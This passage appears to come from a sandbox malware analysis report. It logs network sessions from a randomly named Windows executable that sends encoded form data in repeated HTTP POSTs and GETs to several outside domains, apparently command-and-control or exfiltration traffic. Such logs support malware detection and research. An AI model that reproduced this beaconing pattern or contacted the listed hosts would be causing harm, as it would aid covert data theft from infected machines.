Sep 5, 2024 14:26:36.447278976 CEST	926	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 05 Sep 2024 12:26:36 GMT server: LiteSpeed location: http://wildenmann.shop/ccpi/ x-powered-by: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	57219	91.203.110.247	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:38.340058088 CEST	450	OUT	GET /ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1JohGtlH0OSuyloWV4aL4gulV88Z8WUGiHxG/5dbitedT3dwls/KnYRS+O7Xw5tFmWV2oMBDB9F7a8JBDA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.wildenmann.shop Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:26:38.962238073 CEST	1081	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 05 Sep 2024 12:26:38 GMT server: LiteSpeed location: http://wildenmann.shop/ccpi/?sH=nVVHdDTx2PSTVJ&V6h=96vdCLF6vzOjbBC3mbkrC4zzUz2rd8Vx/oWpiC2btghNh3zo1JohGtlH0OSuyloWV4aL4gulV88Z8WUGiHxG/5dbitedT3dwls/KnYRS+O7Xw5tFmWV2oMBDB9F7a8JBDA== x-powered-by: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	57220	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:44.030093908 CEST	717	OUT	POST /lztc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.formytinyhome.com Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.formytinyhome.com Referer: http://www.formytinyhome.com/lztc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 32 4d 65 31 68 44 51 6e 36 34 69 76 37 75 39 73 73 45 4f 57 33 67 39 4f 78 67 6f 31 45 37 52 2b 76 6e 6e 53 2f 2b 2b 41 67 6e 70 59 30 34 76 6d 2f 74 6c 59 34 6e 33 61 72 4e 57 33 6a 6e 69 78 63 4b 69 68 74 44 61 38 6f 33 52 44 47 35 47 4b 75 6f 44 52 31 51 6a 57 4c 77 50 65 59 48 43 74 4d 68 37 61 69 38 79 66 39 57 37 7a 64 6b 46 48 39 38 52 4b 43 6a 70 65 73 64 54 53 76 75 67 54 76 64 62 74 61 46 66 54 70 42 6f 69 36 59 56 64 34 4b 6b 2b 33 63 53 43 32 62 50 6b 72 30 30 46 31 77 62 67 69 68 4e 77 30 70 7a 39 53 47 57 37 75 4a 76 50 47 69 77 36 5a 73 59 4b 71 33 50 35 69 74 65 44 4e 46 41 3d Data Ascii: V6h=2Me1hDQn64iv7u9ssEOW3g9Oxgo1E7R+vnnS/++AgnpY04vm/tlY4n3arNW3jnixcKihtDa8o3RDG5GKuoDR1QjWLwPeYHCtMh7ai8yf9W7zdkFH98RKCjpesdTSvugTvdbtaFfTpBoi6YVd4Kk+3cSC2bPkr00F1wbgihNw0pz9SGW7uJvPGiw6ZsYKq3P5iteDNFA=
Sep 5, 2024 14:26:44.499119997 CEST	393	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.formytinyhome.com/lztc/ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:44 GMT X-Served-By: cache-iad-kiad7000163-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,AHc3TXLcXOul+t9LIbGg9ciHE4dbw+wewoJ5nvKoyjE= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	57221	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:46.574439049 CEST	737	OUT	POST /lztc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.formytinyhome.com Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.formytinyhome.com Referer: http://www.formytinyhome.com/lztc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 32 4d 65 31 68 44 51 6e 36 34 69 76 36 4e 6c 73 2f 56 4f 57 79 41 39 50 74 77 6f 31 4f 62 52 69 76 6e 72 53 2f 36 6e 64 6a 56 4e 59 30 5a 66 6d 2b 73 6c 59 37 6e 33 61 79 39 57 32 74 48 69 75 63 4b 2b 54 74 47 69 38 6f 78 39 44 47 39 4b 4b 75 35 44 57 30 41 6a 55 45 51 50 63 63 48 43 74 4d 68 37 61 69 39 57 31 39 57 6a 7a 63 58 74 48 2b 5a 78 46 63 54 70 64 72 64 54 53 72 75 67 74 76 64 62 62 61 48 72 35 70 45 73 69 36 61 39 64 70 37 6b 39 34 63 53 41 35 37 4f 7a 75 47 56 51 79 53 6e 64 74 33 39 74 70 4a 76 50 61 51 37 52 30 72 6e 6e 56 43 63 43 4a 2f 51 39 37 48 75 51 34 4f 4f 7a 54 53 56 52 44 56 36 48 48 59 61 62 71 49 71 2f 42 31 64 4f 61 4a 66 2b Data Ascii: V6h=2Me1hDQn64iv6Nls/VOWyA9Ptwo1ObRivnrS/6ndjVNY0Zfm+slY7n3ay9W2tHiucK+TtGi8ox9DG9KKu5DW0AjUEQPccHCtMh7ai9W19WjzcXtH+ZxFcTpdrdTSrugtvdbbaHr5pEsi6a9dp7k94cSA57OzuGVQySndt39tpJvPaQ7R0rnnVCcCJ/Q97HuQ4OOzTSVRDV6HHYabqIq/B1dOaJf+
Sep 5, 2024 14:26:47.030900955 CEST	393	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.formytinyhome.com/lztc/ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:46 GMT X-Served-By: cache-iad-kiad7000094-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,AHc3TXLcXOul+t9LIbGg9ciHE4dbw+wewoJ5nvKoyjE= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	57222	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:49.224646091 CEST	1754	OUT	POST /lztc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.formytinyhome.com Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.formytinyhome.com Referer: http://www.formytinyhome.com/lztc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 32 4d 65 31 68 44 51 6e 36 34 69 76 36 4e 6c 73 2f 56 4f 57 79 41 39 50 74 77 6f 31 4f 62 52 69 76 6e 72 53 2f 36 6e 64 6a 56 46 59 30 72 6e 6d 34 50 4e 59 36 6e 33 61 74 4e 57 37 74 48 6a 30 63 4b 32 58 74 47 65 57 6f 30 68 44 48 65 43 4b 37 39 66 57 2b 41 6a 55 63 67 50 5a 59 48 44 6c 4d 6c 58 57 69 39 47 31 39 57 6a 7a 63 52 52 48 71 63 52 46 65 54 70 65 73 64 54 65 76 75 67 57 76 64 54 4c 61 48 2f 44 70 33 55 69 36 36 74 64 72 70 38 39 31 63 53 47 36 37 4f 37 75 47 59 41 79 57 47 73 74 7a 30 6c 70 4c 76 50 4b 78 36 31 6a 66 6a 4b 4f 44 55 67 47 49 56 66 74 58 2b 32 77 74 4f 57 57 42 68 6a 49 31 57 76 45 75 65 63 6f 37 50 73 43 6b 4e 45 57 35 36 74 62 73 54 63 6a 61 2b 66 63 75 46 55 33 35 31 63 59 6e 55 48 6d 75 6c 62 5a 44 79 48 32 36 68 78 43 55 6a 62 42 72 30 61 37 33 4f 70 35 52 56 70 68 38 52 6a 2f 2f 32 6e 6f 44 32 34 57 4c 39 51 4c 2f 66 6b 2f 42 37 6b 43 4d 55 4a 37 73 51 6f 4c 69 2b 37 6d 78 73 7a 62 42 6e 48 4f 58 52 71 77 76 77 42 42 7a 38 58 74 52 77 33 4a 7a 33 6b 63 64 [TRUNCATED] Data Ascii: V6h=2Me1hDQn64iv6Nls/VOWyA9Ptwo1ObRivnrS/6ndjVFY0rnm4PNY6n3atNW7tHj0cK2XtGeWo0hDHeCK79fW+AjUcgPZYHDlMlXWi9G19WjzcRRHqcRFeTpesdTevugWvdTLaH/Dp3Ui66tdrp891cSG67O7uGYAyWGstz0lpLvPKx61jfjKODUgGIVftX+2wtOWWBhjI1WvEueco7PsCkNEW56tbsTcja+fcuFU351cYnUHmulbZDyH26hxCUjbBr0a73Op5RVph8Rj//2noD24WL9QL/fk/B7kCMUJ7sQoLi+7mxszbBnHOXRqwvwBBz8XtRw3Jz3kcdsZKOJVicK+oFhsiU+FOyRu1A4URxaZq5tq/eOC4WgxYcirHVlzJ9BU+MG9wPlM5oIdh3KgaSa6orE/3lHg33xCzgN51rPMBdW0VEnMA8mssfY9m7fB4SWTaGJ8GW49tPLVe1jm9ekQw7MXDK7PAg39KUtgqZvxpfruFNrDG1viJ5uIKmXyL54xm8tpzFjq+qhKsmLlrQKPnOpuM+Ug9iCBs0wINLpofyLk7+z7k76NLC0D4Fb7i4QcRmtfuMgIDsiz6NdyeV1R1TEee0wd5la5u2mg3K9JdlEZ4VUvPqm4rFeQ724nhXgmOiWA+D4hEv0tO/9D72ed20OUN1jWkO/oKag/mC6VQD3500EMqi9yifpGYt+6TL/AH6JEAdTHFQ7+7ngsHURlU8sGwxuXMnzZKXeOZIT56Dn9HUcHvoKJF/pYVwU/Q0sTVjcLKEdjToo8Tbp0Ih52CrwxPQ8JcAaRJGv6rtl/6GjMkLocN2/HngnVWGbbRYSGz9ynWAYKr9D8OtDum7BPdV3JmURh+Y0lLKxSU21QbtzQtrq7xqZwjROQfwQupcpM822j0AzYD5yJKuD1HJZ7ydsX57GyIiIcs67BQ5E5xlbKfpgO9CeBQpmPK58hY4egP6P0KMpHPq63ND3P9Q0diIYyJ2oTfG+muw/do29smTyI [TRUNCATED]
Sep 5, 2024 14:26:49.679217100 CEST	393	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.formytinyhome.com/lztc/ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:49 GMT X-Served-By: cache-iad-kjyo7100126-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	57223	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:51.824080944 CEST	452	OUT	GET /lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9vH+mS4f3qWyrmk5EaMabwLfk8B7yJXbJanTlK0OvtO++wyfSRGRbh4BKfAxEuo7imst0wg==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.formytinyhome.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:26:52.280508995 CEST	548	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.formytinyhome.com/lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9vH+mS4f3qWyrmk5EaMabwLfk8B7yJXbJanTlK0OvtO++wyfSRGRbh4BKfAxEuo7imst0wg==&sH=nVVHdDTx2PSTVJ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:52 GMT X-Served-By: cache-iad-kjyo7100042-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	57224	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:57.438364983 CEST	696	OUT	POST /kfsd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.5a8yly.cfd Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.5a8yly.cfd Referer: http://www.5a8yly.cfd/kfsd/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 38 66 46 55 6e 59 46 65 77 73 49 30 4b 4c 52 50 6e 70 67 52 70 44 6a 76 70 76 65 70 41 57 50 41 41 45 51 33 37 77 2b 72 56 66 53 57 51 62 49 51 74 4b 73 44 64 59 6f 48 77 61 64 37 51 36 6e 44 73 76 6d 4e 39 56 34 4e 42 55 37 34 4a 6a 31 37 4e 7a 6b 42 48 77 74 38 66 6d 62 6e 54 64 34 34 4f 46 6d 68 62 79 44 47 62 44 32 37 55 78 32 57 66 4e 70 77 2f 37 30 45 6d 4a 4c 74 4b 64 70 62 4e 4e 67 65 77 37 47 4c 77 54 67 46 6d 30 51 54 35 48 51 4c 34 35 42 53 4e 54 63 6b 76 54 46 75 64 53 48 42 48 43 48 66 6c 56 4e 68 49 79 4f 67 4c 6c 51 39 78 44 50 4f 4a 6f 48 63 67 71 4f 79 68 66 58 4c 35 51 51 3d Data Ascii: V6h=8fFUnYFewsI0KLRPnpgRpDjvpvepAWPAAEQ37w+rVfSWQbIQtKsDdYoHwad7Q6nDsvmN9V4NBU74Jj17NzkBHwt8fmbnTd44OFmhbyDGbD27Ux2WfNpw/70EmJLtKdpbNNgew7GLwTgFm0QT5HQL45BSNTckvTFudSHBHCHflVNhIyOgLlQ9xDPOJoHcgqOyhfXL5QQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	57225	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:59.980089903 CEST	716	OUT	POST /kfsd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.5a8yly.cfd Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.5a8yly.cfd Referer: http://www.5a8yly.cfd/kfsd/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 38 66 46 55 6e 59 46 65 77 73 49 30 4c 76 74 50 33 2b 4d 52 72 6a 69 64 33 2f 65 70 56 6d 4f 4a 41 45 63 33 37 78 37 75 56 74 32 57 51 2b 73 51 73 4c 73 44 65 59 6f 48 34 36 64 79 64 61 6e 59 73 76 37 36 39 51 51 4e 42 55 66 34 4a 69 46 37 4b 43 6b 43 46 67 74 2b 58 47 62 68 4e 74 34 34 4f 46 6d 68 62 79 58 73 62 41 47 37 58 42 47 57 65 6f 46 76 68 72 30 48 78 35 4c 74 4f 64 70 66 4e 4e 68 4c 77 35 79 6c 77 52 6f 46 6d 31 67 54 35 53 6b 49 78 35 42 51 53 44 64 61 75 68 6b 67 58 6b 50 72 48 42 71 4c 33 6e 39 4d 41 6b 6a 4b 52 48 59 56 69 6a 6a 32 5a 37 50 72 78 61 76 62 37 38 48 37 6e 48 48 32 55 79 2f 46 39 66 63 6d 50 7a 33 6e 55 43 33 72 7a 2f 7a 61 Data Ascii: V6h=8fFUnYFewsI0LvtP3+MRrjid3/epVmOJAEc37x7uVt2WQ+sQsLsDeYoH46dydanYsv769QQNBUf4JiF7KCkCFgt+XGbhNt44OFmhbyXsbAG7XBGWeoFvhr0Hx5LtOdpfNNhLw5ylwRoFm1gT5SkIx5BQSDdauhkgXkPrHBqL3n9MAkjKRHYVijj2Z7Prxavb78H7nHH2Uy/F9fcmPz3nUC3rz/za

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	57226	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:02.516108990 CEST	1733	OUT	POST /kfsd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.5a8yly.cfd Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.5a8yly.cfd Referer: http://www.5a8yly.cfd/kfsd/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 38 66 46 55 6e 59 46 65 77 73 49 30 4c 76 74 50 33 2b 4d 52 72 6a 69 64 33 2f 65 70 56 6d 4f 4a 41 45 63 33 37 78 37 75 56 74 2b 57 52 49 67 51 75 6f 30 44 66 59 6f 48 6e 4b 64 2f 64 61 6d 4b 73 76 7a 2b 39 51 56 76 42 53 62 34 50 45 35 37 50 77 63 43 50 67 74 2b 56 47 62 6b 54 64 34 58 4f 46 33 6d 62 79 48 73 62 41 47 37 58 44 75 57 59 39 70 76 6a 72 30 45 6d 4a 4c 68 4b 64 70 37 4e 4e 35 62 77 35 32 62 7a 69 51 46 6e 56 77 54 32 41 4d 49 2b 35 42 57 52 44 64 53 75 68 6f 72 58 6c 6e 4e 48 42 76 57 33 6c 64 4d 54 53 53 57 4f 47 4a 50 34 42 7a 41 62 59 7a 51 6e 74 53 38 6b 63 54 6a 6a 30 6d 52 51 78 44 73 31 2f 6f 47 45 68 2b 54 58 58 4c 4f 78 5a 57 76 59 30 37 7a 43 50 43 6c 44 7a 62 35 41 4e 49 33 52 43 30 48 75 34 33 72 65 56 37 6f 39 65 61 4c 78 46 6b 4e 57 76 6f 4e 61 4f 61 34 4d 4c 6a 2b 5a 75 65 2b 4c 6e 6b 35 42 33 6a 59 43 4d 79 6d 58 79 44 36 70 4a 38 6b 2f 33 2f 73 4f 6b 53 61 73 52 6c 31 64 53 7a 6e 48 6a 64 6a 6e 33 55 42 59 48 71 35 53 32 4b 57 32 30 63 6c 36 57 79 77 49 74 [TRUNCATED] Data Ascii: V6h=8fFUnYFewsI0LvtP3+MRrjid3/epVmOJAEc37x7uVt+WRIgQuo0DfYoHnKd/damKsvz+9QVvBSb4PE57PwcCPgt+VGbkTd4XOF3mbyHsbAG7XDuWY9pvjr0EmJLhKdp7NN5bw52bziQFnVwT2AMI+5BWRDdSuhorXlnNHBvW3ldMTSSWOGJP4BzAbYzQntS8kcTjj0mRQxDs1/oGEh+TXXLOxZWvY07zCPClDzb5ANI3RC0Hu43reV7o9eaLxFkNWvoNaOa4MLj+Zue+Lnk5B3jYCMymXyD6pJ8k/3/sOkSasRl1dSznHjdjn3UBYHq5S2KW20cl6WywItrXa7mJFaY67FqfTga+FuwYC5Jd0QKyUMpM7jogZlM2ylIqxDV+pvQ0tsjBsMYUMRLFQNSbwHsuFdeW5LU6uGHzCbfIwUgG2x0YQle4dopxMOMNvxuqC5A6tjSSvrxM4Y/bQSzsdbAbv8CJTpStve8RXV+qtnPPk5FQWSRGgBlmTFS5vafn0b8VWEftC7DRcjHknJ01pEmZdk0vrFXXFkJ9hNg/68glmbem7K0dc8WNsGhqgejM7aB9vFv6g+cWoOu1eDXxKpUNPOK71y4Jft09jgyzuexWyHIXD/xBZcCOEFkZG1iUhGSjSvCrZBaFN9YAiJsGDFf0/eB0Mjpzu79hU6jHohBIoabUVO/UF1o8NXgtU9maJNz6HlofnB62wR5YMsZ0sQ07XXn9p++JwjHvLoXzwY0FVQBJKIM1EvsgGGEBoHmRMvpXCtQ+jMjW/SwSWDxI2Z+XHBY7rZlTXofvzs82lK/k0C1IDs1T1VR7D7l7pWriEWZ9/KTA/v24+Dbd6aKIhgc+czAryFGhhNf7IAbgOR37cvT8UkrO0KVGpw0/cW842OqXnP2pduqsbvJ76ldMumsVFQkz/TrzdrVSgQEdBPk4kdapTlTznWDZWBa4OS5egTDrdKxMdnsvArJjA7369cy11pXUYlOJayXt4xWyr8y74RvD [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	57227	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:05.040975094 CEST	445	OUT	GET /kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqbwTWogO+vBLUJXWpdaX6FBHI3PARBJ6BBwlCmNGVSn5FdlKflrneiv2THCpchPWcIBHiIkx6LHBCpUWbA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.5a8yly.cfd Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:27:05.588308096 CEST	504	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 05 Sep 2024 12:27:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Connection: close Cache-Control: no-cache Pragma: no-cache Location: http://ww1.5a8yly.cfd/kfsd/?sH=nVVHdDTx2PSTVJ&V6h=xdt0ktZO0PUVE8ko/vYSpSqVpvi6VCO8XncayCS9euW1eL9fqbwTWogO+vBLUJXWpdaX6FBHI3PARBJ6BBwlCmNGVSn5FdlKflrneiv2THCpchPWcIBHiIkx6LHBCpUWbA==&usid=16&utid=34491550499 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	57228	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
